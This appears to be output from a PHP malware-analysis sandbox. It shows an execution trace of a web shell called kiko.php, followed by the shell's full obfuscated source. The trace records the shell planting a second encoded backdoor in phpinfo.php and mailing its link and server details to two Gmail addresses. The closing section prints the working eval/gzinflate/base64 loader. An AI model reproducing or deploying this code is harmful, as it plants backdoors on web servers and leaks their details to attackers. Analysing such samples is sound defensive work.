4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	241	0	0.030753	1248184	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1075	1	'/var/www/html/uploads/'
5	241	1	0.030768	1248376
5	241	R			'/var/www/html/uploads/'
5	242	0	0.030789	1248184	class_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1081	1	'ZipArchive'
5	242	1	0.030805	1248224
5	242	R			FALSE
5	243	0	0.030819	1248184	hardFooter	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1088	0
6	244	0	0.030833	1248184	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	257	1	'/var/www/html/uploads/'
6	244	1	0.030852	1248224
6	244	R			TRUE
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	257	$is_writable = ' <font color=\'#ffffff\'>[ Writeable ]</font>'
6	245	0	0.030881	1248184	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	262	1	'actionFilesMan'
6	245	1	0.030896	1248224
6	245	R			TRUE
6	246	0	0.030909	1248440	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	262	1	'/var/www/html/uploads/'
6	246	1	0.030923	1248632
6	246	R			'/var/www/html/uploads/'
6	247	0	0.030938	1248568	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	263	1	'actionFilesTools'
6	247	1	0.030953	1248608
6	247	R			TRUE
6	248	0	0.030966	1248824	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	265	1	'actionFilesMan'
6	248	1	0.030981	1248864
6	248	R			TRUE
6	249	0	0.030994	1249080	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	266	1	'actionFilesTools'
6	249	1	0.031009	1249120
6	249	R			TRUE
6	250	0	0.031022	1249464	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	268	1	'actionConsole'
6	250	1	0.031036	1249504
6	250	R			TRUE
6	251	0	0.031049	1249464	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	269	1	'actionFilesMan'
6	251	1	0.031063	1249504
6	251	R			TRUE
6	252	0	0.031081	1249720	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	271	1	'/var/www/html/uploads/'
6	252	1	0.031096	1249912
6	252	R			'/var/www/html/uploads/'
5	243	1	0.031112	1248184
4	46	1	0.031121	1240920
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1696	$ikrhtfy = '/var/www/html/phpinfo.php'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1699	$fghky_ouvcbt = '<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3Yto'
4	253	0	0.031171	1240976	file_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1710	1	'/var/www/html/phpinfo.php'
4	253	1	0.031195	1241016
4	253	R			FALSE
4	254	0	0.031209	1240976	touch	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1712	1	'/var/www/html/phpinfo.php'
4	254	1	0.031256	1241016
4	254	R			TRUE
4	255	0	0.031270	1240976	chmod	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1713	2	'/var/www/html/phpinfo.php'	438
4	255	1	0.031289	1241048
4	255	R			TRUE
4	256	0	0.031302	1240976	fopen	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1717	2	'/var/www/html/phpinfo.php'	'w'
4	256	1	0.031337	1241632
4	256	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1717	$opazxcdnm = resource(5) of type (stream)
4	257	0	0.031368	1241560	fwrite	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1719	2	resource(5) of type (stream)	'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3Yto'
4	257	1	0.031405	1241624
4	257	R			834
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1725	$b = 'Soldier\'ss'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1726	$c = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1728	$c .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1730	$c .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1732	$c .= 'Shell Link : http://localhost/uploads/kiko.php\r\n'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1734	$c .= 'Avlanan Site : localhost\r\n'
4	258	0	0.031499	1241784	mail	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1736	3	'hacklinksatis@gmail.com'	'Soldier\'ss'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/kiko.php\r\nAvlanan Site : localhost\r\n'
4	258	1	0.032508	1241880
4	258	R			FALSE
4	259	0	0.032537	1241784	mail	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1737	3	'burdayimreis@gmail.com'	'Soldier\'ss'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/kiko.php\r\nAvlanan Site : localhost\r\n'
4	259	1	0.033367	1241880
4	259	R			FALSE
3	15	1	0.033395	1241784
2	7	1	0.033417	1146632
			0.033510	1061936
TRACE END   [2023-02-13 02:23:22.418826]


Generated HTML code


Original PHP code

<?php
$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=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